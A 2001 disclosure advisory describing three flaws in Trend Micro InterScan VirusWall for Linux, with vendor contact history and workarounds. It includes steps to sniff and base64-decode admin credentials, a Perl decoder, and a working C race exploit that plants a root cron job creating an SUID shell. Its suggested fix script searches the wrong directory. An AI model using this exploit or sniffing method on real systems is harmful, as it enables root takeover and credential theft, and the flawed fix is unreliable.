From: Joey Maier (maierj@HOME.COM) Date: Mon Jan 15 2001 - 02:05:22 CET InterScan VirusWall - multiple vunerabilities ***SUMMARY*** Product: Interscan VirusWall for UNIX Vendor: Trend Micro Testing Platform: RedHat Linux 6.2 vunerable version: 3.0.1 & 3.6.x non-vunerable versions: unknown Vendor: Trend Micro Issues: This advisory covers three separate issues 1) insecure password change mechanism - Password change information is sent from the administrator's browser to the setpasswd.cgi program in clear text. 2) weak authentication method allows password recovery - each GET request contains the base64 encoded username:password pair of the administrator. This can easily be converted to plain text. 3) predictable files names for root-owned temporary files - Installation or removal of this InterScan VirusWall can allow local users to become root. Impact: Issues 1 & 2 could allow unauthorized individuals to learn the password for the 'admin' account on this box. Using this password, they could disable virus scanning, change the types of files that are scanned, or alter the response the machine makes to files containing viruses. Issue 3 could provide an attacker with a priviledged account they might use to attack other machines within a network. Fixes: On Dec. 29 a Trend Micro representative informed me that no patches will be released, but the new version of ISVW (estimated release late Feb. or early Mar.) will contain fixes for these vunerabilities. Work-arounds: Only install ISVW on a stand-alone box. Don't use the browser-based configuration tools remotely unless you are confident that your network is not being sniffed. Contact History: Trend Micro was contacted three times (once per vunerability) December 26-27. They've assigned these three vunerabilities to CASE ID# TDSC-237EA95D Researcher: Joey Maier =================================================================== ***BACKGROUND*** Trend Micro's InterScanVirusWall (a.k.a. 'ISVW') is a product that is designed to provide "Real-time virus detection and clean-up for all SMTP, HTTP, and FTP Internet traffic at the gateway" (see http://www.antivirus.com/products/isvw/ for details on this product) Trend Micro has versions of ISVW for NT, Solaris, HP-UX and Linux. This advisory only covers the Linux version. It is unknown if the NT, Solaris and HP-UX versions of this product display the same behavior. =================================================================== *** DETAILS - insecure password change mechanism *** Installation of the ISVW package on a RedHat linux 6.2 box places a web server on port 1812. This web server runs a variety of CGIs that provide web-based administration functionality. One of these is setpasswd.cgi, which is used to change the administrative password for ISVW. As the following snort log shows, the old and new passwords are sent in clear text to setpasswd.cgi via a GET request. ---------------------------------------------------------------- 12/22-10:59:23.150987 172.16.105.36:1247 -> 172.16.104.122:1812 TCP TTL:128 TOS:0x0 ID:21767 DF *****PA* Seq: 0x3D5513F Ack: 0xE257706 Win: 0x2238 47 45 54 20 2F 73 65 74 70 61 73 73 77 64 2E 63 GET /setpasswd.c 67 69 3F 4F 50 41 53 53 3D 6F 6C 64 70 61 73 73 gi?OPASS=oldpass 77 6F 72 64 2B 26 50 41 53 53 32 3D 6E 65 77 70 word+&PASS2=newp 61 73 73 77 6F 72 64 26 50 41 53 53 33 3D 6E 65 assword&PASS3=ne 77 70 61 73 73 77 6F 72 64 20 48 54 54 50 2F 31 wpassword HTTP/1 2E 30 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 74 .0..Referer: htt 70 3A 2F 2F 31 37 32 2E 31 36 2E 31 30 34 2E 31 p://172.16.104.1 32 32 3A 31 38 31 32 2F 70 61 73 73 77 64 2E 63 22:1812/passwd.c 67 69 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 gi..Connection: 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 55 73 65 72 Keep-Alive..User 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F -Agent: Mozilla/ 34 2E 36 31 20 5B 65 6E 5D 20 28 57 69 6E 4E 54 4.61 [en] (WinNT 3B 20 55 29 0D 0A 48 6F 73 74 3A 20 31 37 32 2E ; U)..Host: 172. 31 36 2E 31 30 34 2E 31 32 32 3A 31 38 31 32 0D 16.104.122:1812. 0A 41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 .Accept: image/g 69 66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 if, image/x-xbit 6D 61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C map, image/jpeg, 20 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 69 6D image/pjpeg, im 61 67 65 2F 70 6E 67 2C 20 2A 2F 2A 0D 0A 41 63 age/png, */*..Ac 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g 7A 69 70 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 zip..Accept-Lang 75 61 67 65 3A 20 65 6E 0D 0A 41 63 63 65 70 74 uage: en..Accept 2D 43 68 61 72 73 65 74 3A 20 69 73 6F 2D 38 38 -Charset: iso-88 35 39 2D 31 2C 2A 2C 75 74 66 2D 38 0D 0A 41 75 59-1,*,utf-8..Au 74 68 6F 72 69 7A 61 74 69 6F 6E 3A 20 42 61 73 thorization: Bas 69 63 20 59 57 52 74 61 57 34 36 62 32 78 6B 63 ic YWRtaW46b2xkc 47 46 7A 63 33 64 76 63 6D 51 3D 0D 0A 0D 0A GFzc3dvcmQ=.... ---------------------------------------------------------------- *** METHODOLOGY - insecure password change mechanism *** 1. Install InterScan VirusWall on a RedHat 6.2 box 2. Start snort on a second box (e.g. 'snort -vda host 172.16.104.122 > output') 3. Launch a browser and connect to the box running ISVW (e.g. '172.16.104.122:1812/interscan) 4. Choose "Scan Configuration" and then "Change Password" 5. Log in when it prompts you for a password. 6. Enter your old password once, and your new password twice into form created by passwd.cgi. Click the 'Apply' button. 7. Read the output snort has produced. =================================================================== 2) weak authentication method allows password recovery =================================================================== *** DETAILS - weak authentication method *** ISVW's web-based administration uses CGIs that are passed information via GET requests. Authorization to use specific CGIs is determined via the typical low-security methodology of web browsers. This means that Each GET request to the server contains the base-64 encoded username and password. The base-64 encoded 'username:password' pair in the example snort log shown below is "YWRtaW46YWRtaW4" =================================================================== 12/26-10:53:20.237031 172.16.105.36:1268 -> 172.16.104.122:1812 TCP TTL:128 TOS:0x0 ID:525 DF *****PA* Seq: 0x13729706 Ack: 0xE97B48CD Win: 0x2238 47 45 54 20 2F 73 63 61 6E 63 66 67 2E 63 67 69 GET /scancfg.cgi 20 48 54 54 50 2F 31 2E 30 0D 0A 52 65 66 65 72 HTTP/1.0..Refer 65 72 3A 20 68 74 74 70 3A 2F 2F 31 37 32 2E 31 er: http://172.1 36 2E 31 30 34 2E 31 32 32 3A 31 38 31 32 2F 63 6.104.122:1812/c 6F 6E 66 69 67 73 72 76 0D 0A 43 6F 6E 6E 65 63 onfigsrv..Connec 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 tion: Keep-Alive 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo 7A 69 6C 6C 61 2F 34 2E 36 31 20 5B 65 6E 5D 20 zilla/4.61 [en] 28 57 69 6E 4E 54 3B 20 55 29 0D 0A 48 6F 73 74 (WinNT; U)..Host 3A 20 31 37 32 2E 31 36 2E 31 30 34 2E 31 32 32 : 172.16.104.122 3A 31 38 31 32 0D 0A 41 63 63 65 70 74 3A 20 69 :1812..Accept: i 6D 61 67 65 2F 67 69 66 2C 20 69 6D 61 67 65 2F mage/gif, image/ 78 2D 78 62 69 74 6D 61 70 2C 20 69 6D 61 67 65 x-xbitmap, image 2F 6A 70 65 67 2C 20 69 6D 61 67 65 2F 70 6A 70 /jpeg, image/pjp 65 67 2C 20 69 6D 61 67 65 2F 70 6E 67 2C 20 2A eg, image/png, * 2F 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 /*..Accept-Encod 69 6E 67 3A 20 67 7A 69 70 0D 0A 41 63 63 65 70 ing: gzip..Accep 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 0D 0A t-Language: en.. 41 63 63 65 70 74 2D 43 68 61 72 73 65 74 3A 20 Accept-Charset: 69 73 6F 2D 38 38 35 39 2D 31 2C 2A 2C 75 74 66 iso-8859-1,*,utf 2D 38 0D 0A 41 75 74 68 6F 72 69 7A 61 74 69 6F -8..Authorizatio 6E 3A 20 42 61 73 69 63 20 59 57 52 74 61 57 34 n: Basic YWRtaW4 36 59 57 52 74 61 57 34 3D 0D 0A 0D 0A 6YWRtaW4=.... =================================================================== It is trivial to sniff GET requests destined for the ISVW server and use a base64 decoder to learn the password of the ISVW administrator. The following script is sufficient for decoding captured authentication tokens. #!/usr/bin/perl use MIME::Base64 (); $input=$ARGV[0]; $output = MIME::Base64::decode($input); print "$input=$output\n"; *** METHODOLOGY - weak authentication method *** To confirm this vunerability, perform the following steps: 1. Name the above perl script 'decode'. 2. Use snort to capture GET requests going from the administrator's browser to the ISVW server. ('snort -vda host isvw.company.com > log') 3. Enter the authenication token from a captured packet into the 'decode' script. ('./decode YWRtaW46YWRtaW4') 4. Read the resulting output ('admin:admin') =================================================================== 3) predictable files names on root-owned temporary files =================================================================== *** DETAILS - predictable file names *** The installation of ISVW is controlled by a shell script named 'isinst'. This shell script makes liberal use of the /tmp directory without any effort to randomize the file names, thus allowing attackers to easily predict the /tmp files that will be created during the install. 'isinst' uses a 222 umask to prevent attackers from modifying the files that are created in /tmp, but it doesn't take necessary additional precautions such as check the ownership and permissions of the files. An example of this behavior from the 3.0.1 isinst: ------------------------------------------------------------------- # add 2 new cron jobs crontab -l > /tmp/istmp_cron echo "0 * * * * /etc/iscan/prescan.cgi >/dev/null 2>&1" >> /tmp/istmp_cron echo "30 2 * * * /etc/iscan/cleanscan >/dev/null 2>&1" >> /tmp/istmp_cron crontab /tmp/istmp_cron 2>/dev/null rm /tmp/istmp_cron ------------------------------------------------------------------- The install script for 3.6.x uses /tmp/crontab.$$ for this, which is only slightly better. If an attacker can create /tmp/istmp_cron (or /tmp/crontab.$$) *before* 'isinst' can, they will retain write access to the files throughout the installation, allowing them to append their own cron jobs to the file before crontab is called. Obviously, having the ability to control the contents of root's crontab gives an attacker the ability to become root. *** METHODOLOGY - predictable file names *** To confirm this vunerability, perform the following steps: 1. Predict the filename of the temporary file to be used and create it before 'isinst' does. 2. Watch to see when 'isinst' has written to the temporary file 3. Append a cron entry to the file that will create an SUID shell 4. Wait for 'isinst' to run crontab on istmp_cron 5. Wait for cron to run your shell script 6. Start the resulting rootshell to become root. [see the end of this advisory for a source code example using the /tmp/istmp_cron file created by ISVW 3.0.1] =================================================================== ***HISTORY*** Vendor contact and disclosure timelines were based upon the RFPolicyv2 (http://www.wiretrip.net/rfp/policy.html) Rain Forest Puppy uses. Issues 1 & 3 were noticed on December 22 and 21, respectively, but Trend Micro was not notified until after Christmas so that they would not ask anyone to work over the holiday. Issue #2 was noticed on December 26. Two notifications - the first for issue #1, the second for issue #2 - were sent to the following Trend Micro addresses on December 26: Admin@trendmicro.com, NetAdmin@trendmicro.com, help@trendmicro.com, security-alert@trendmicro.com, secure@trendmicro.com, info@trendmicro.com, webmaster@trendmicro.com, support@trendmicro.com The third notification was sent on December 27. Trend Micro's response was prompt and curteous. By the evening of December 27, they had acknowledged receiving all three of my emails. On December 29 they informed me that these problems would be fixed in their new version. ***COMMENTS*** I'm surprised at how common the misuse of predictable /tmp files still is. Vendors who are using /tmp should consider using alternate portions of the directory tree that are not world writable. At the very least, they should utilize mktemp. To be safe, they also ought to check the ownership and permissions of the temporary file before using it for critical things like crontab. If a vendor wants to use a temporary file for a security critical purpose like modifying cron, they should consider doing something like the following: # start by creating a safe directory to use throughout the # entire installation script. mkdir /root/tmp [...] # create a file with the current cron jobs TMPFILE=`mktemp /root/tmp/$0.XXXXXX` || exit 1 crontab -l > $TMPFILE # append two new cron jobs to the file echo "0 * * * * /etc/iscan/prescan.cgi >/dev/null 2>&1" >> $TMPFILE echo "30 2 * * * /etc/iscan/cleanscan >/dev/null 2>&1" >> $TMPFILE # check to make sure noone has messed with the file file=3D`find /tmp/ -type f -name $TMPFILE -user root -group wheel` crontab $file 2>/dev/null || exit 1 rm $TMPFILE I'm disappointed with Trend Micro's decision to release an updated version of ISVW without releasing patches for the current versions. Unless they heavily advertise changes made for the sake of security, many customers will be unaware of these issues and may remain vunerable. If a vendor chooses to stop releasing patches for a product, they should inform their customers that they are no longer supporting that product. ***ACKNOWLEDGEMENTS*** Thanks to the following individuals for providing feedback on this advisory: Chris Horton, Dan Kaminsky, Kevin Hart, Walter Maier, Irwin Dulan Thanks to Jeff McElroy of http://www.Radux.com for the demonstration program used to illustrate issue #3 to the vendor. Thanks to the people and teams responsible for the following tools used in this research: OpenBSD: Theo de Raadt and many others (http://www.OpenBSD.org) Perl's MIME::Base64 Module: Gisle Aas (http://gisle.aas.no/perl/) (also at http://www.perl.com/CPAN-local/modules/by-module/MIME/) RFPolicyV2: Rain Forest Puppy (http://www.wiretrip.net/rfp/policy.html) Snort: Martin Roesch and many others (http://www.snort.org) Watch-Temp: mudge (http://www.atstake.com/research/tools/l0pht-watch.tar.gz) "Do not follow in the footsteps of wise men. Instead, seek what they sought." -- Basho ====================================================================== Demonstration code for issue #3 ====================================================================== #include #include #define TMPFILE "/tmp/istmp_cron" #define CRONTAB_ENTRY "* * * * * cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell " int main(int argc, char *argv[]) { int file; off_t file_size; struct stat file_stat; int rc; /*########################################################### ## creating istmp_cron with permissions that allow changes ## ###########################################################*/ file=open(TMPFILE, O_RDWR|O_CREAT|O_APPEND, 0777); if (file < 0) { perror(TMPFILE); return 1; } /*################################################################## ## wait for isinst to write to tmp file, then append our cronjob ## ##################################################################*/ rc =fstat(file, &file_stat); file_size=file_stat.st_size; while(1){ rc =fstat(file, &file_stat); if(file_stat.st_size != file_size){ /*###################### ## append our cronjob ## ######################*/ rc = write(file, CRONTAB_ENTRY, sizeof(CRONTAB_ENTRY) -1 ); close(file); return 0; } } } -- "When you understand UNIX, you will understand the world. When you understand NT....you will understand NT" - Richard Thieme http://www.slothnet.com - is currently unavailable :(